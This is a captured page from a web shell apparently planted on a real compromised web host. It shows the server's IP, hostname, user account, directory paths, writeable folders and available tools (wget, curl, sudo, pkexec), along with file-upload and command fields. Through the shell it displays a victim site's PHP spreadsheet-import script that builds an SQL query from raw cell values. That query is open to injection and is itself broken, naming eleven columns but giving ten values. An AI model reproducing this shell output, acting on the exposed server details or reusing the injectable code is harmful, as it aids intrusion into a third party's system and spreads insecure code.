Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.133.156.251
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in//medicinexcell.php
<?php
include 'database.php';

$uploadfile=$_FILES['uploadfile']['tmp_name'];

require 'PHPExcel/Classes/PHPExcel.php';
require_once 'PHPExcel/Classes/PHPExcel/IOFactory.php';

$objExcel=PHPExcel_IOFactory::load($uploadfile);
foreach($objExcel->getWorksheetIterator() as $worksheet)
{
	$highestrow=$worksheet->getHighestRow();

	for($row=0;$row<=$highestrow;$row++)
	{
		$admin_id=$worksheet->getCellByColumnAndRow(0,$row)->getValue();
		$Category=$worksheet->getCellByColumnAndRow(1,$row)->getValue();
		$DRUGS_name=$worksheet->getCellByColumnAndRow(2,$row)->getValue();
		$Contain=$worksheet->getCellByColumnAndRow(3,$row)->getValue();
		$Dose=$worksheet->getCellByColumnAndRow(4,$row)->getValue();
		$dose_value=$worksheet->getCellByColumnAndRow(5,$row)->getValue();
		$size=$worksheet->getCellByColumnAndRow(6,$row)->getValue();
		$Name_brand=$worksheet->getCellByColumnAndRow(7,$row)->getValue();
		$vendorname=$worksheet->getCellByColumnAndRow(8,$row)->getValue();
		$created_at=$worksheet->getCellByColumnAndRow(9,$row)->getValue();
		$updated_at=$worksheet->getCellByColumnAndRow(10,$row)->getValue();
	
	if($admin_id!='')
		{
			$insertqry="INSERT INTO `medicine_stok`( `admin_id`, `Category`,`DRUGS_name`,`Contain`,`Dose`,`dose_value`,`size`,`Name_brand`,`vendorname`,`created_at`,`updated_at`) VALUES ('$admin_id','$Category','$DRUGS_name','$Contain','$Dose','$dose_value','$Name_brand','$vendorname','$created_at','$updated_at')";
			$insertres=mysqli_query($con,$insertqry);
		}
	}
}
header('Location: excell.php');
?>

Anon7 - 2022
AnonSec Team